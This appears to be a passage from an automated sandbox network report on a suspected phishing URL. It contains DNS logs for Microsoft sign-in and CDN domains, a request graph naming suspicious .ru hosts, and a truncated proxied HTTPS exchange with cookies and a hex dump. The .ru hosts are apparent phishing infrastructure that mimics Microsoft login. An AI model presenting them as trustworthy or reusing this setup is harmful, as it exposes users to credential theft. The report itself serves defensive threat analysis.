Dec 11, 2024 19:22:44.596990108 CET	1.1.1.1	192.168.2.5	0x5a11	No error (0)	ooc-g2.tm-4.office.com		40.99.70.194	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.596990108 CET	1.1.1.1	192.168.2.5	0x5a11	No error (0)	ooc-g2.tm-4.office.com		40.99.70.226	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.596990108 CET	1.1.1.1	192.168.2.5	0x5a11	No error (0)	ooc-g2.tm-4.office.com		40.99.60.2	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.741096020 CET	1.1.1.1	192.168.2.5	0xe02f	No error (0)	substrate.office.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.741096020 CET	1.1.1.1	192.168.2.5	0xe02f	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.741096020 CET	1.1.1.1	192.168.2.5	0xe02f	No error (0)	ooc-g2.tm-4.office.com		52.98.95.210	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.741096020 CET	1.1.1.1	192.168.2.5	0xe02f	No error (0)	ooc-g2.tm-4.office.com		40.99.60.2	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.741096020 CET	1.1.1.1	192.168.2.5	0xe02f	No error (0)	ooc-g2.tm-4.office.com		40.99.70.178	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.741096020 CET	1.1.1.1	192.168.2.5	0xe02f	No error (0)	ooc-g2.tm-4.office.com		40.99.68.34	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.741096020 CET	1.1.1.1	192.168.2.5	0xe02f	No error (0)	ooc-g2.tm-4.office.com		40.99.70.226	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.741096020 CET	1.1.1.1	192.168.2.5	0xe02f	No error (0)	ooc-g2.tm-4.office.com		52.98.61.34	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.741096020 CET	1.1.1.1	192.168.2.5	0xe02f	No error (0)	ooc-g2.tm-4.office.com		40.99.70.210	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.741096020 CET	1.1.1.1	192.168.2.5	0xe02f	No error (0)	ooc-g2.tm-4.office.com		40.99.32.114	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.741622925 CET	1.1.1.1	192.168.2.5	0xf1bc	No error (0)	substrate.office.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.741622925 CET	1.1.1.1	192.168.2.5	0xf1bc	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:45.023221970 CET	1.1.1.1	192.168.2.5	0x3f8	No error (0)	m365cdn-sdp-public.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:45.023221970 CET	1.1.1.1	192.168.2.5	0x3f8	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:45.023221970 CET	1.1.1.1	192.168.2.5	0x3f8	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:45.024521112 CET	1.1.1.1	192.168.2.5	0x776d	No error (0)	m365cdn-sdp-public.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:51.069210052 CET	1.1.1.1	192.168.2.5	0xe596	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:51.193247080 CET	1.1.1.1	192.168.2.5	0xd985	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:51.193247080 CET	1.1.1.1	192.168.2.5	0xd985	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:51.193247080 CET	1.1.1.1	192.168.2.5	0xd985	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:53.139377117 CET	1.1.1.1	192.168.2.5	0x4bd	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:53.140240908 CET	1.1.1.1	192.168.2.5	0xad45	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:53.734947920 CET	1.1.1.1	192.168.2.5	0xbd07	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:53.734947920 CET	1.1.1.1	192.168.2.5	0xbd07	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:53.734947920 CET	1.1.1.1	192.168.2.5	0xbd07	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:53.734960079 CET	1.1.1.1	192.168.2.5	0xff1c	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:55.727216959 CET	1.1.1.1	192.168.2.5	0x81d6	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:55.727216959 CET	1.1.1.1	192.168.2.5	0x81d6	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:55.727216959 CET	1.1.1.1	192.168.2.5	0x81d6	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:55.729468107 CET	1.1.1.1	192.168.2.5	0xda0d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:55.729468107 CET	1.1.1.1	192.168.2.5	0xda0d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:55.905056000 CET	1.1.1.1	192.168.2.5	0xb177	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:55.905056000 CET	1.1.1.1	192.168.2.5	0xb177	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:55.905318022 CET	1.1.1.1	192.168.2.5	0x5030	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:55.905318022 CET	1.1.1.1	192.168.2.5	0x5030	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:55.926904917 CET	1.1.1.1	192.168.2.5	0x5296	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:55.926904917 CET	1.1.1.1	192.168.2.5	0x5296	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:55.926904917 CET	1.1.1.1	192.168.2.5	0x5296	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:55.972251892 CET	1.1.1.1	192.168.2.5	0x14d7	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:55.972251892 CET	1.1.1.1	192.168.2.5	0x14d7	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:56.111362934 CET	1.1.1.1	192.168.2.5	0x7d21	No error (0)	acctcdn.msftauth.net	acctcdn.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:56.111362934 CET	1.1.1.1	192.168.2.5	0x7d21	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:56.111362934 CET	1.1.1.1	192.168.2.5	0x7d21	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:56.115056038 CET	1.1.1.1	192.168.2.5	0x2db2	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:56.115056038 CET	1.1.1.1	192.168.2.5	0x2db2	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:56.115176916 CET	1.1.1.1	192.168.2.5	0x94d3	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:56.115176916 CET	1.1.1.1	192.168.2.5	0x94d3	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:56.190954924 CET	1.1.1.1	192.168.2.5	0x15a0	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:56.191044092 CET	1.1.1.1	192.168.2.5	0x9294	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:56.230796099 CET	1.1.1.1	192.168.2.5	0xb989	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:56.230796099 CET	1.1.1.1	192.168.2.5	0xb989	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:56.290443897 CET	1.1.1.1	192.168.2.5	0x5a75	No error (0)	acctcdn.msftauth.net	acctcdn.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:56.290443897 CET	1.1.1.1	192.168.2.5	0x5a75	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:56.293651104 CET	1.1.1.1	192.168.2.5	0xfccf	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:56.293651104 CET	1.1.1.1	192.168.2.5	0xfccf	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:58.276849031 CET	1.1.1.1	192.168.2.5	0xa390	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:58.276849031 CET	1.1.1.1	192.168.2.5	0xa390	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:58.276849031 CET	1.1.1.1	192.168.2.5	0xa390	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:58.277899027 CET	1.1.1.1	192.168.2.5	0xf35	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:58.277899027 CET	1.1.1.1	192.168.2.5	0xf35	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:59.141419888 CET	1.1.1.1	192.168.2.5	0xa80f	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:59.141419888 CET	1.1.1.1	192.168.2.5	0xa80f	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:59.141419888 CET	1.1.1.1	192.168.2.5	0xa80f	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:59.143338919 CET	1.1.1.1	192.168.2.5	0x7338	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:59.143338919 CET	1.1.1.1	192.168.2.5	0x7338	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:05.201637983 CET	1.1.1.1	192.168.2.5	0x66fa	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:05.201637983 CET	1.1.1.1	192.168.2.5	0x66fa	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:05.363549948 CET	1.1.1.1	192.168.2.5	0xb574	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:05.363549948 CET	1.1.1.1	192.168.2.5	0xb574	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:05.363549948 CET	1.1.1.1	192.168.2.5	0xb574	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:05.363549948 CET	1.1.1.1	192.168.2.5	0xb574	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:08.151576042 CET	1.1.1.1	192.168.2.5	0xa8da	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:08.151576042 CET	1.1.1.1	192.168.2.5	0xa8da	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:08.151576042 CET	1.1.1.1	192.168.2.5	0xa8da	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:08.151576042 CET	1.1.1.1	192.168.2.5	0xa8da	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:08.155143023 CET	1.1.1.1	192.168.2.5	0x2900	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:08.155143023 CET	1.1.1.1	192.168.2.5	0x2900	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:10.173691034 CET	1.1.1.1	192.168.2.5	0xd312	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:10.476937056 CET	1.1.1.1	192.168.2.5	0x88aa	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:17.391305923 CET	1.1.1.1	192.168.2.5	0xb4ba	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:17.391305923 CET	1.1.1.1	192.168.2.5	0xb4ba	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:17.392033100 CET	1.1.1.1	192.168.2.5	0x5315	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:17.392033100 CET	1.1.1.1	192.168.2.5	0x5315	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:17.392033100 CET	1.1.1.1	192.168.2.5	0x5315	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:17.691134930 CET	1.1.1.1	192.168.2.5	0xc443	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:17.691134930 CET	1.1.1.1	192.168.2.5	0xc443	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:17.834163904 CET	1.1.1.1	192.168.2.5	0xac99	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:17.834163904 CET	1.1.1.1	192.168.2.5	0xac99	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:17.834196091 CET	1.1.1.1	192.168.2.5	0xf6bb	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:17.834196091 CET	1.1.1.1	192.168.2.5	0xf6bb	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:17.835526943 CET	1.1.1.1	192.168.2.5	0x3946	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:22.070158005 CET	1.1.1.1	192.168.2.5	0x463a	No error (0)	msft.hsprotect.net	msft.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:22.190246105 CET	1.1.1.1	192.168.2.5	0x27ba	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:22.190885067 CET	1.1.1.1	192.168.2.5	0xf4c1	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:22.235508919 CET	1.1.1.1	192.168.2.5	0x816f	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:22.368341923 CET	1.1.1.1	192.168.2.5	0x4ba1	No error (0)	msft.hsprotect.net	msft.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:22.455648899 CET	1.1.1.1	192.168.2.5	0x7aa	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:23.859122992 CET	1.1.1.1	192.168.2.5	0x6e5e	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:23.859385014 CET	1.1.1.1	192.168.2.5	0x1053	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:24.233483076 CET	1.1.1.1	192.168.2.5	0x26d8	No error (0)	client.hsprotect.net	client.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:24.646979094 CET	1.1.1.1	192.168.2.5	0x536	No error (0)	client.hsprotect.net	client.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:27.264656067 CET	1.1.1.1	192.168.2.5	0x8dcd	No error (0)	collector-pxzc5j78di.hsprotect.net	inbound-weighted.protechts.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:27.264656067 CET	1.1.1.1	192.168.2.5	0x8dcd	No error (0)	inbound-weighted.protechts.net		35.190.10.96	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:27.283606052 CET	1.1.1.1	192.168.2.5	0xa270	No error (0)	stk.hsprotect.net		34.107.199.61	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:27.300719023 CET	1.1.1.1	192.168.2.5	0x1a13	No error (0)	client.hsprotect.net	client.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:27.303225994 CET	1.1.1.1	192.168.2.5	0x49bb	No error (0)	client.hsprotect.net	client.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:27.409548044 CET	1.1.1.1	192.168.2.5	0xae07	No error (0)	collector-pxzc5j78di.hsprotect.net	inbound-weighted.protechts.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:27.561460972 CET	1.1.1.1	192.168.2.5	0x6499	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:27.561861992 CET	1.1.1.1	192.168.2.5	0x7c23	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:28.385593891 CET	1.1.1.1	192.168.2.5	0x3154	No error (0)	acctcdn.msftauth.net	acctcdn.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:28.385593891 CET	1.1.1.1	192.168.2.5	0x3154	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:28.385593891 CET	1.1.1.1	192.168.2.5	0x3154	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:28.411128998 CET	1.1.1.1	192.168.2.5	0x2d99	No error (0)	acctcdn.msftauth.net	acctcdn.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:28.411128998 CET	1.1.1.1	192.168.2.5	0x2d99	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:29.195425987 CET	1.1.1.1	192.168.2.5	0x1d00	No error (0)	collector-pxzc5j78di.hsprotect.net	inbound-weighted.protechts.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:29.195455074 CET	1.1.1.1	192.168.2.5	0x29e3	No error (0)	collector-pxzc5j78di.hsprotect.net	inbound-weighted.protechts.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:23:29.195455074 CET	1.1.1.1	192.168.2.5	0x29e3	No error (0)	inbound-weighted.protechts.net		35.190.10.96	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:29.348619938 CET	1.1.1.1	192.168.2.5	0x42b6	No error (0)	stk.hsprotect.net		34.107.199.61	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

18qdy4sm2g.lomidore.ru

https:

code.jquery.com

challenges.cloudflare.com

cdnjs.cloudflare.com

o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru

logincdn.msftauth.net

aadcdn.msftauth.net

collector-pxzc5j78di.hsprotect.net

stk.hsprotect.net

acctcdn.msftauth.net

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49716	172.67.215.131	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:12 UTC	673	OUT	GET /baSDU4o/ HTTP/1.1 Host: 18qdy4sm2g.lomidore.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:13 UTC	1223	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oGeJASH9q0dmdiLAxLgwployRmGeNz57kpWYj5LbiuKEp0eG9Tu4%2FSnUddfcaRc%2Fq%2BZKwG2P8cpGSVWMuw9J8e%2BHooIAY%2BaadpEbeuc0rNouhdZa0JqiLkytTMjnUA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1443&min_rtt=1424&rtt_var=412&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1576&delivery_rate=2787043&cwnd=247&unsent_bytes=0&cid=e423abf630d8784e&ts=195&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImV1RDA0aW5Cc2EzenN4WC9GVEtwV2c9PSIsInZhbHVlIjoia1VPUEgybVZqL1VLaWl5T3ZBdXhVNlBNSjRTSFJ0em1rTFRvTGNjL1FZQ0Fkd1puL2JtZElsWGxZbmhLQmZnVHE4TzRQUTNWRVEyV24xUEVHbVBab2R1WjhrOXB1YXFTTVZiRExqZVRlTFhZYnYwZDY3WTQ3V1kwb2dSZXpnRkIiLCJtYWMiOiIxZmU4YmFjZTcyNjFjNTY1YTY3OWQ1ZWU2ZWU3N2E3NjM0MmUyZDcwYWI1NGQwNmNlYjJjM2U4ODY0MGUzNWU2IiwidGFnIjoiIn0%3D; expires=Wed, 11-Dec-2024 20:22:12 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-12-11 18:22:13 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 4e 34 54 31 4e 31 62 57 52 6c 53 31 4e 34 57 57 6c 5a 65 47 74 33 56 30 63 76 55 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 45 5a 73 51 33 42 79 52 7a 68 4a 51 7a 4e 71 63 57 4e 54 63 56 5a 47 65 48 68 4a 51 6e 46 4d 62 56 52 4d 4d 6c 45 77 59 57 5a 79 63 7a 46 6e 63 6d 4a 6b 5a 47 38 7a 61 32 77 31 63 30 6c 76 63 57 46 74 54 33 6f 78 61 55 49 30 61 32 4e 74 61 45 31 51 57 48 4a 47 57 58 55 31 57 6d 63 7a 54 48 5a 34 63 6c 4a 46 4d 6d 74 61 56 31 68 6b 53 6a 4e 61 61 33 5a 52 64 32 73 7a 4b 31 6c 54 4e 6a 46 42 4d 6a 68 4c 4e 45 4e 6a 4e 32 52 78 64 54 67 34 53 7a 64 53 63 48 6b 34 5a 32 5a 44 59 7a 42 70 62 31 46 5a 4d 6c 67 